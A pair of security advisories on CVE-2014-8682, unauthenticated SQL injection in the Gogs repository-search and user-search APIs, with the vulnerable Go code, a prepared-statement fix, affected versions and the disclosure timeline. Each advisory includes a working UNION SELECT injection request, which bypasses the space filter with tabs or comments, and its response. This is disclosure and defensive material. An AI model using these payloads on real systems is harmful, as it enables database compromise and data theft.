1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 |
Unauthenticated SQL Injection in Gogs repository search ======================================================= Researcher: Timo Schmid <tschmid@ernw.de> Description =========== Gogs(Go Git Service) is a painless self-hosted Git Service written in Go. (taken from [1]) It is very similiar to the github hosting plattform. Multiple users can create multiple repositories and share code with others with the git version control system. Repositories can be marked as public or private to prevent access from unauthorized users. Gogs provides an api view to give javascript code the possibility to search for existing repositories in the system. This view is accessible at /api/v1/repos/search?q=<search query>. The q Parameter of this view is vulnerable to SQL injection. Exploitation Technique ====================== Remote Severity Level ============== Critical CVSS Base Score =============== 8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P) CVE-ID ====== CVE-2014-8682 Impact ====== The vulnerability results at least in a complete compromise of the database. Depending on the particular database configuration a compromise of the system is also possible. Status ====== Fixed by Vendor Vulnerable Code Section ======================= models/repo.go: [...] // SearchRepositoryByName returns given number of repositories whose name contains keyword. func SearchRepositoryByName(opt SearchOption) (repos []*Repository, err error) { // Prevent SQL inject. opt.Keyword = FilterSQLInject(opt.Keyword) if len(opt.Keyword) == 0 { return repos, nil } opt.Keyword = strings.ToLower(opt.Keyword) repos = make([]*Repository, 0, opt.Limit) // Append conditions. sess := x.Limit(opt.Limit) if opt.Uid > 0 { sess.Where("owner_id=?", opt.Uid) } if !opt.Private { sess.And("is_private=false") } sess.And("lower_name like '%" + opt.Keyword + "%'").Find(&repos) return repos, err } [...] The vulnerability exists because of a string concatination in the SQL query with user supplied data. Because of the SQL filter at the method entry, attackers can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also filtered. Proof of Concept ================ Request: http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09 (SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09 user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null) %09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09 as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as %09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09 a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09 JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN %09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN %09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN %09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN %09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN %09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27 Response: {"data":[{"repolink":"bluec0re/test"},{"repolink":"bluec0re/secret"},{"repolink" :"bluec0re/root@localhost"}],"ok":true} Solution ======== This vulnerability could easily be fixed by using prepared statements: sess.And("lower_name like ?", "%" + opt.Keyword + "%").Find(&repos) Update to version 0.5.6.1105. Affected Versions ================= >= v0.3.1-9-g49dc57e <= v0.5.6.1104-g0c5ba45 Timeline ======== 2014-09-25: Developer informed 2014-10-16: Contact of developer regarding fix 2014-10-25: Working together with developer on fix 2014-11-03: Contacted developer 2014-11-04: Fixed in master branch 2014-11-14: CVE-ID assigned Credits ======= Pascal Turbing <pturbing@ernw.de> Jiahua (Joe) Chen <u@gogs.io> References ==========Update to version 0.5.6.1105. [1] https://github.com/gogits/gogs [2] http://gogs.io/ [3] <blockquote class="wp-embedded-content" data-secret="KSmkgfgVGJ"><a href="https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/" target="_blank"rel="external nofollow" class="external" >SQL Injection Testing for Business Purposes Part 1</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“SQL Injection Testing for Business Purposes Part 1” — Insinuator.net" src="https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/embed/#?secret=XxXETTNHOQ#?secret=KSmkgfgVGJ" data-secret="KSmkgfgVGJ" frameborder="0" marginmarginscrolling="no"></iframe> [4] <blockquote class="wp-embedded-content" data-secret="3KEwA3d0Fv"><a href="https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/" target="_blank"rel="external nofollow" class="external" >SQL Injection Testing for Business Purposes Part 2</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“SQL Injection Testing for Business Purposes Part 2” — Insinuator.net" src="https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/embed/#?secret=B954Nsq5g9#?secret=3KEwA3d0Fv" data-secret="3KEwA3d0Fv" frameborder="0" marginmarginscrolling="no"></iframe> [5] <blockquote class="wp-embedded-content" data-secret="oYEuniiylE"><a href="https://insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/" target="_blank"rel="external nofollow" class="external" >SQL Injection Testing for Business Purposes Part 3</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“SQL Injection Testing for Business Purposes Part 3” — Insinuator.net" src="https://insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/embed/#?secret=dTGCXa9vKD#?secret=oYEuniiylE" data-secret="oYEuniiylE" frameborder="0" marginmarginscrolling="no"></iframe> [6] https://www.ernw.de/download/BC-1402.txt Advisory-ID =========== BC-1402 Disclaimer ========== The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/ distributor be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Unauthenticated SQL Injection in Gogs user search ================================================= Researcher: Timo Schmid <tschmid@ernw.de> Description =========== Gogs(Go Git Service) is a painless self-hosted Git Service written in Go. (taken from [1]) It is very similiar to the github hosting plattform. Multiple users can create multiple repositories and share code with others with the git version control system. Repositories can be marked as public or private to prevent access from unauthorized users. Gogs provides an api view to give javascript code the possibility to search for existing users in the system. This view is accessible at /api/v1/users/search?q=<search query>. The q Parameter of this view is vulnerable to SQL injection. Exploitation Technique: ======================= Remote Severity Level: =============== Critical CVSS Base Score =============== 8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P) CVE-ID ====== CVE-2014-8682 Impact ====== The vulnerability results at least in a complete compromise of the database. Depending on the particular database configuration a compromise of the system is also possible. Status ====== Fixed by Vendor Vulnerable Code Section ======================= models/user.go: [...] // SearchUserByName returns given number of users whose name contains keyword. func SearchUserByName(opt SearchOption) (us []*User, err error) { opt.Keyword = FilterSQLInject(opt.Keyword) if len(opt.Keyword) == 0 { return us, nil } opt.Keyword = strings.ToLower(opt.Keyword) us = make([]*User, 0, opt.Limit) err = x.Limit(opt.Limit).Where("type=0").And("lower_name like '%" + opt.Keyword + "%'").Find(&us) return us, err } [...] The vulnerability exists because of a string concatination in the SQL query with user supplied data. Because of the SQL filter at the method entry, attackers can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also filtered. Proof of Concept ================ Request: http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/ select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from /**/mysql.db/**/where/**/('%25'%3D' Response: {"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar": "//1.gravatar.com/avatar/"}],"ok":true} Solution ======== This vulnerability could easily be fixed by using prepared statements: err = x.Limit(opt.Limit).Where("type=0").And("lower_name like ?", "%" + opt.Keyword + "%").Find(&us) Update to version 0.5.6.1105. Affected Versions ================= >= v0.3.1-9-g49dc57e <= v0.5.6.1104-g0c5ba45 Timeline ======== 2014-09-25: Developer informed 2014-10-16: Contact of developer regarding fix 2014-10-25: Working together with developer on fix 2014-11-03: Contacted developer 2014-11-04: Fixed in master branch 2014-11-14: CVE-ID assigned Credits ======= Pascal Turbing <pturbing@ernw.de> Jiahua (Joe) Chen <u@gogs.io> References ========== [1] https://github.com/gogits/gogs [2] http://gogs.io/ [3] <blockquote class="wp-embedded-content" data-secret="KSmkgfgVGJ"><a href="https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/" target="_blank"rel="external nofollow" class="external" >SQL Injection Testing for Business Purposes Part 1</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“SQL Injection Testing for Business Purposes Part 1” — Insinuator.net" src="https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/embed/#?secret=XxXETTNHOQ#?secret=KSmkgfgVGJ" data-secret="KSmkgfgVGJ" frameborder="0" marginmarginscrolling="no"></iframe> [4] <blockquote class="wp-embedded-content" data-secret="3KEwA3d0Fv"><a href="https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/" target="_blank"rel="external nofollow" class="external" >SQL Injection Testing for Business Purposes Part 2</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“SQL Injection Testing for Business Purposes Part 2” — Insinuator.net" src="https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/embed/#?secret=B954Nsq5g9#?secret=3KEwA3d0Fv" data-secret="3KEwA3d0Fv" frameborder="0" marginmarginscrolling="no"></iframe> [5] <blockquote class="wp-embedded-content" data-secret="oYEuniiylE"><a href="https://insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/" target="_blank"rel="external nofollow" class="external" >SQL Injection Testing for Business Purposes Part 3</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“SQL Injection Testing for Business Purposes Part 3” — Insinuator.net" src="https://insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/embed/#?secret=dTGCXa9vKD#?secret=oYEuniiylE" data-secret="oYEuniiylE" frameborder="0" marginmarginscrolling="no"></iframe> [6] https://www.ernw.de/download/BC-1403.txt Advisory-ID =========== BC-1403 Disclaimer ========== The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/ distributor be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. -- Timo Schmid ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg-www.ernw.de Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 151 16227192 PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0 Handelsregister Mannheim: HRB 337135 Geschaeftsfuehrer: Enno Rey ============================================================== || Blog: www.insinuator.net | | Conference: www.troopers.de || ============================================================== ================== TROOPERS15 ================== * International IT Security Conference & Workshops * 16th - 20st March 2015 / Heidelberg, Germany * www.troopers.de ==================================================== |